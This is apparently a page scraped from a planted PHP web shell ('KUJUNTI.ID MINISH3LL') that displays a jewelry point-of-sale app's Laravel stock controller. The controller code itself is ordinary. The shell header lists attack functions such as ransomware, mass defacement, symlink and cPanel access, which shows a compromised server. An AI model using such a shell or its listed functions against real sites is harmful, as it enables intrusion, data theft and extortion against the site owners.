KUJUNTI.ID MINISH3LL
Path : /var/www/html/jewelry-pos/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/jewelry-pos/app/Http/Controllers/BuildStockProductController.php


<?php

namespace App\Http\Controllers;

use App\Models\BuildStockProduct;
use App\Models\BuildStockDate;
use App\Models\BuildStockProductAttribute;
use App\Models\ProductCategory;
use App\Models\ProductCategoryPrice;
use App\Models\QtyHistory;
use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class BuildStockProductController extends Controller
{

    public function build_stock_product_category_show(Request $request)
    {
        $productCategories = ProductCategory::where('is_main',true)->get();
        $now = Carbon::now();
        $date = $now->format('m/d/Y');
        return view('build-stock-products.option', compact('productCategories' , 'date'));
    }
    /**
     * Display a listing of the resource.
     */
    public function index(Request $request , $id)
    {
        $category_id = $request->get('category_id');
        $category = ProductCategory::find($id);
        $platinumCategories = ProductCategory::where('parent_id' , $id)->get();
        $paginate = $request->get('paginate')??25;
        $date = $request->get('date');
        $gold=ProductCategory::whereIn('name',['មាស','Gold','ทอง'])->first();
        $platinum_category_id = $request->get('platinum_category');
        $check_fixed_price = $request->get('check_fixed_price');
        if(!$date){
            $now = Carbon::now();
            $date = $now->format('m/d/Y');
        }
        $dates = date('Y-m-d' , strtotime($date))??date('Y-m-d');
        $build_stocks = BuildStockProduct::join('product_categories', 'product_categories.id', '=', 'build_stock_products.product_category_id')->where('build_stock_products.is_active' , true)->where('build_stock_products.qty' , '>' , 0)
            ->whereBetween('build_stock_products.created_at' , [$dates . ' 00:00:00' , $dates . ' 23:59:59'])->whereIn('build_stock_products.product_category_id' , $category->IdvsAllSubCategories());
        $test = BuildStockProduct::join('product_categories', 'product_categories.id', '=', 'build_stock_products.product_category_id')->where('build_stock_products.is_active' , true)->where('build_stock_products.qty' , '>' , 0)->where('build_stock_products.for_sale' , 1)
            ->whereIn('build_stock_products.product_category_id' , $category->IdvsAllSubCategories());

//        dd($build_stocks->get());
        if($platinum_category_id){
            $build_stocks = $build_stocks->where('build_stock_products.product_category_id' , $platinum_category_id);
        }
        if($check_fixed_price == 1){
            $build_stocks = $build_stocks->where('build_stock_products.fixed_price' , true);
        }elseif($check_fixed_price == 2){
            $build_stocks = $build_stocks->where('build_stock_products.fixed_price' , false);
        }
        $search = $request->get('search');
        if($search){
            $build_stocks = $build_stocks->where('build_stock_products.part_number' , $search);
        }
        $products1 = Clone $build_stocks;
        $product11= Clone $build_stocks;
        $totalCost = $products1->sum('build_stock_products.cost');

        $products2 = Clone $build_stocks;
        $totalWage = $products2->sum('build_stock_products.wages');

        $product3 = Clone $build_stocks;
        $totalOriginalWage = $product3->sum('build_stock_products.original_wages');

        $product4 = Clone $build_stocks;
        $totalQty = $product4->sum('build_stock_products.qty');

        $product7 = Clone $build_stocks;
        $totalGoldWeight = $product7->select(DB::raw('build_stock_products.weight, (build_stock_products.weight*product_categories.purity_level) as totalWeight'))->pluck('totalWeight'); //NOT DONE

        $totalGoldWeight = array_sum(($totalGoldWeight->all()));

        $product8 = Clone $build_stocks;
        $totalWeight = $product8->select(DB::raw('build_stock_products.weight as totalWeight'))->pluck('totalWeight'); //NOT DONE

        $totalWeight = array_sum(($totalWeight->all()));
        $product5 = Clone $build_stocks;
        $product51 = Clone $build_stocks;

        $children = $category->children->where('name' , 'មាសដុំ')->first();
        if($category->fixed_price){
            $totalPrice = $product5->sum('price')+ BuildStockProductAttribute::whereIn('build_stock_product_id',$product51->pluck('build_stock_products.id'))->sum('price');
//            dd($totalCost - $totalOriginalWage);
        }
        else{

            $children_product = clone $build_stocks;
            if($children){
                $children_weight = $children_product->where('product_category_id' , $children->id)->sum('build_stock_products.weight');
                $totalGoldWeight = $totalGoldWeight + $children_weight;
            }

            $product_fixed_clone = clone $build_stocks;
            $cost_fixed_clone = clone $build_stocks;
            $cost_notFix_clone = clone $build_stocks;
            //Total Cost
            $totalCostNotFix = $cost_notFix_clone->where('build_stock_products.fixed_price' , false)->sum('build_stock_products.cost');
//            $totalCostNotFix = $cost_notFix_clone->where('products.fixed_price' , false)->sum('products.cost');
//            $totalCostFixed = $cost_fixed_clone->where('products.fixed_price' , true)->sum('products.cost');
            $totalCostFixed = $cost_fixed_clone->where('build_stock_products.fixed_price' , true)->sum('build_stock_products.cost');

//            dd($totalCostNotFix , $totalCostFixed , $totalCost);

            //Total Price
            $totalPriceNotFix = ($totalGoldWeight*$gold->selling_to_usd_exchange_rate) + BuildStockProductAttribute::whereIn('build_stock_product_id',$product51->where('build_stock_products.fixed_price' , false)->pluck('build_stock_products.id'))->sum('price');
            $totalPriceFixed = $product_fixed_clone->where('build_stock_products.fixed_price' , true)->sum('price');
            $totalPrice = ($totalGoldWeight*$gold->selling_to_usd_exchange_rate) + BuildStockProductAttribute::whereIn('build_stock_product_id',$product51->pluck('build_stock_products.id'))->sum('price');
            $cost_clone_product = clone $build_stocks;
            $totalCost = $cost_clone_product->sum('build_stock_products.cost');
//            $totalCost = $totalCost - $totalOriginalWage;
//            $totalCost = $totalCost;
            if($check_fixed_price == 1){
                $totalPrice = $totalPriceFixed;
                $totalCost = $totalCostFixed;
            }elseif($check_fixed_price == 2){
                $totalPrice = $totalPriceNotFix;
//                $totalCost = $totalCostNotFix - $totalOriginalWage;
                $totalCost = $totalCostNotFix;
            }
//            dd($totalPriceFixed , $totalPriceNotFix);
            $pig_clone = clone $build_stocks;
            if($category->name == 'ផលិតផលបន្ថែម' || $category->name == 'Other Stock' || $category->name == 'Extra Stock'){
                $pig_price = $pig_clone->select(DB::raw('sum(build_stock_products.price*build_stock_products.qty) as totalPricePig'))->where('product_category_id' , $category->id)->first();
                $totalPrice = $totalPrice + ($pig_price->totalPricePig);
            }
        }
        $build_stocks = $build_stocks->orderBy('build_stock_products.id' , 'desc')->select('build_stock_products.*')->paginate($paginate);
        return view('build-stock-products.index' , compact('build_stocks' , 'children' , 'date' , 'paginate' , 'category_id' , 'id' , 'category'
            , 'paginate' ,'totalCost','totalWage','totalOriginalWage','totalQty','totalPrice','totalGoldWeight' , 'totalWeight' , 'platinum_category_id' , 'platinumCategories' , 'check_fixed_price'));
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {
        //
    }

    /**
     * Display the specified resource.
     */
    public function show(Request $request,string $id)
    {
        $category_id = $request->get('category_id');
        $category = ProductCategory::find($id);
        $platinumCategories = ProductCategory::where('parent_id' , $id)->get();
        $paginate = $request->get('paginate')??25;
        $date = $request->get('date');
        $gold=ProductCategory::whereIn('name',['មាស','Gold','ทอง'])->first();
        $platinum_category_id = $request->get('platinum_category');
        $check_fixed_price = $request->get('check_fixed_price');
        if(!$date){
            $now = Carbon::now();
            $date = $now->format('m/d/Y');
        }
        $dates = date('Y-m-d' , strtotime($date))??date('Y-m-d');
        $build_stocks = BuildStockProduct::join('product_categories', 'product_categories.id', '=', 'build_stock_products.product_category_id')->where('build_stock_products.is_active' , true)->where('build_stock_products.qty' , '>' , 0)->where('build_stock_products.for_sale' , '>' , 1)
            ->whereBetween('build_stock_products.created_at' , [$dates . ' 00:00:00' , $dates . ' 23:59:59'])->whereIn('build_stock_products.product_category_id' , $category->IdvsAllSubCategories());
        if($platinum_category_id){
            $build_stocks = $build_stocks->where('build_stock_products.product_category_id' , $platinum_category_id);
        }
        if($check_fixed_price == 1){
            $build_stocks = $build_stocks->where('build_stock_products.fixed_price' , true);
        }elseif($check_fixed_price == 2){
            $build_stocks = $build_stocks->where('build_stock_products.fixed_price' , false);
        }
        $search = $request->get('search');
        if($search){
            $build_stocks = $build_stocks->where('build_stock_products.part_number' , $search);
        }
        $products1 = Clone $build_stocks;
        $product11= Clone $build_stocks;
        $totalCost = $products1->sum('build_stock_products.cost');

        $products2 = Clone $build_stocks;
        $totalWage = $products2->sum('build_stock_products.wages');

        $product3 = Clone $build_stocks;
        $totalOriginalWage = $product3->sum('build_stock_products.original_wages');

        $product4 = Clone $build_stocks;
        $totalQty = $product4->sum('build_stock_products.qty');

        $product7 = Clone $build_stocks;
        $totalGoldWeight = $product7->select(DB::raw('build_stock_products.weight, (build_stock_products.weight*product_categories.purity_level) as totalWeight'))->pluck('totalWeight'); //NOT DONE

        $totalGoldWeight = array_sum(($totalGoldWeight->all()));

        $product8 = Clone $build_stocks;
        $totalWeight = $product8->select(DB::raw('build_stock_products.weight as totalWeight'))->pluck('totalWeight'); //NOT DONE

        $totalWeight = array_sum(($totalWeight->all()));
        $product5 = Clone $build_stocks;
        $product51 = Clone $build_stocks;

        $children = $category->children->where('name' , 'មាសដុំ')->first();
        if($category->fixed_price){
            $totalPrice = $product5->sum('price')+ BuildStockProductAttribute::whereIn('build_stock_product_id',$product51->pluck('build_stock_products.id'))->sum('price');
//            dd($totalCost - $totalOriginalWage);
        }
        else{

            $children_product = clone $build_stocks;
            if($children){
                $children_weight = $children_product->where('product_category_id' , $children->id)->sum('build_stock_products.weight');
                $totalGoldWeight = $totalGoldWeight + $children_weight;
            }

            $product_fixed_clone = clone $build_stocks;
            $cost_fixed_clone = clone $build_stocks;
            $cost_notFix_clone = clone $build_stocks;
            //Total Cost
            $totalCostNotFix = $cost_notFix_clone->where('build_stock_products.fixed_price' , false)->sum('build_stock_products.cost');
//            $totalCostNotFix = $cost_notFix_clone->where('products.fixed_price' , false)->sum('products.cost');
//            $totalCostFixed = $cost_fixed_clone->where('products.fixed_price' , true)->sum('products.cost');
            $totalCostFixed = $cost_fixed_clone->where('build_stock_products.fixed_price' , true)->sum('build_stock_products.cost');

//            dd($totalCostNotFix , $totalCostFixed , $totalCost);

            //Total Price
            $totalPriceNotFix = ($totalGoldWeight*$gold->selling_to_usd_exchange_rate) + BuildStockProductAttribute::whereIn('build_stock_product_id',$product51->where('build_stock_products.fixed_price' , false)->pluck('build_stock_products.id'))->sum('price');
            $totalPriceFixed = $product_fixed_clone->where('build_stock_products.fixed_price' , true)->sum('price');
            $totalPrice = ($totalGoldWeight*$gold->selling_to_usd_exchange_rate) + BuildStockProductAttribute::whereIn('build_stock_product_id',$product51->pluck('build_stock_products.id'))->sum('price');
            $cost_clone_product = clone $build_stocks;
            $totalCost = $cost_clone_product->sum('build_stock_products.cost');
//            $totalCost = $totalCost - $totalOriginalWage;
//            $totalCost = $totalCost;
            if($check_fixed_price == 1){
                $totalPrice = $totalPriceFixed;
                $totalCost = $totalCostFixed;
            }elseif($check_fixed_price == 2){
                $totalPrice = $totalPriceNotFix;
//                $totalCost = $totalCostNotFix - $totalOriginalWage;
                $totalCost = $totalCostNotFix;
            }
//            dd($totalPriceFixed , $totalPriceNotFix);
            $pig_clone = clone $build_stocks;
            if($category->name == 'ផលិតផលបន្ថែម' || $category->name == 'Other Stock' || $category->name == 'Extra Stock'){
                $pig_price = $pig_clone->select(DB::raw('sum(build_stock_products.price*build_stock_products.qty) as totalPricePig'))->where('product_category_id' , $category->id)->first();
                $totalPrice = $totalPrice + ($pig_price->totalPricePig);
            }
        }

        $build_stocks = $build_stocks->orderBy('build_stock_products.id' , 'desc')->select('build_stock_products.*')->get();
        return view('build-stock-products.show' , compact('build_stocks' , 'children' , 'date' , 'paginate' , 'category_id' , 'id' , 'category'
            , 'paginate' ,'totalCost','totalWage','totalOriginalWage','totalQty','totalPrice','totalGoldWeight' , 'totalWeight'));

//        $date = $request->get('date');
//        $dates = date('Y-m-d' , strtotime($date));
//        $build_stocks = BuildStockProduct::whereBetween('created_at' , [$dates . ' 00:00:00' , $dates . ' 23:59:59'])->where('product_category_id' , $id)->get();
//        return view('build-stock-products.show' , compact('build_stocks' , 'date' , 'id'));
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(string $id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, string $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(string $id)
    {
        //
    }
    // public function setProductCost(){
    //     $qtyHistories = QtyHistory::orderBy('id','desc')->get();
    //     foreach($qtyHistories as $index=>$qtyHistory){
    //         $product = $qtyHistory->product;
    //         if($product && $product->for_sale==0){     
    //             if($qtyHistory->product_cost==0 ||$qtyHistory->product_cost==null){
    //                 $rate = $product->productCategory->price(null, null, $qtyHistory->created_at);
    //                 if($qtyHistory->weight!=0 && $qtyHistory->weight!=null && $rate){
    //                     $qtyHistory->product_cost = $qtyHistory->weight * $rate;
    //                     $qtyHistory->save();
    //                 }
                    
    //             }
    //         }
    //     }
    //     dd('done');
    // }
}

© KUJUNTI.ID